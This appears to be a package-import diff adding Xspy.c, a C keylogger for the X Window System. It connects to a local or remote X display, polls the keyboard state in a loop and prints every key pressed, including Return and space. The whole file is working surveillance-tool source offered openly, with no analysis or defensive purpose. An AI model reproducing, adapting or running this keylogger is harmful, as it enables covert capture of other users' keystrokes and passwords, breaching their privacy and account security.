Import Upstream version 1.1

Xspy.c

+/* original file leeched from somewhere.
+ * only got keycodes changes.
+ * improved and added keycode to string translations.
+ *
+ * nir tzachar, 27/8/2003
+ */
+#include <X11/Xlib.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <string.h>
+
+#define SPACE "space"
+#define ENTER "Return"
+
+char *key_map[32*8+1];
+
+void do_last(void){
+	printf("blah.... \n");
+}
+
+
+int main(int argc, char **argv)
+{
+	Display *disp;
+	int i, changed;
+	int min_key_code, max_key_code;
+	char *s;
+	unsigned short j, k;
+	struct timeval shorttime;
+	char keys[32];
+	char lastkeys[32];
+
+	shorttime.tv_sec = 0;
+	shorttime.tv_usec = 10;
+
+	atexit(do_last);
+	
+	if (argc > 1){
+		s = (char *) malloc(strlen(argv[1])+5);
+		strcpy(s, argv[1]);
+		strcat(s, ":0");
+	}
+	else
+		s = getenv("DISPLAY");
+	disp = XOpenDisplay(s);
+	if (NULL == disp) {
+		printf("%s: can't open display %s\n", argv[0], s);
+		exit(0);
+	} else
+		printf("opened %s for snoopng\n", s);
+
+	for (i = 0; i < 32; i++) {
+		keys[i] = 0;
+		lastkeys[i] = 0;
+	}
+		
+	// fill up keyboard mapping
+	XDisplayKeycodes(disp, &min_key_code, &max_key_code);
+	for (i=min_key_code; i<=max_key_code; i++){
+                key_map[i] = XKeysymToString(XKeycodeToKeysym(disp, i, 0));
+                if (! key_map[i]) key_map[i]=" unknown " ;
+                else if (strcmp(key_map[i], SPACE) == 0)
+                        key_map[i] = " ";
+                else if (strcmp(key_map[i], ENTER) ==0)
+                        key_map[i] = "\n";
+                else if (strchr(key_map[i],'_')){
+                        char *pp = malloc(strlen(key_map[i]) +5);
+                        strcpy(pp, key_map[i]);
+                        strcat(pp, " ");
+                        key_map[i] = pp;
+                }
+        }
+
+	while (1) {
+		shorttime.tv_sec = 0;
+		shorttime.tv_usec = 10;
+		select(0, NULL, NULL, NULL, &shorttime);
+		XQueryKeymap(disp, keys);
+		for (i = 0; i < 32; i++) {
+			if (keys[i] != lastkeys[i]) {
+				// check which key got changed
+				for (j = 1, k=0; j<256; j *= 2, k++){
+					// if the key wass pressed, output it
+					if ( (keys[i] & j) && 
+				   	   ( (keys[i] & j) != (lastkeys[i]  & j))){
+						if (strcmp(key_map[i*8+k], SPACE) ==0) 
+							printf(" ");
+						else if (strcmp(key_map[i*8+k], ENTER) ==0)
+							printf("\n");
+						else printf("%s",key_map[i*8+k]);
+					
+					}
+				}
+			}
+			lastkeys[i] = keys[i];
+		}
+		fflush(stdout);
+	}
+
+	XCloseDisplay(disp);
+
+	return 0;
+}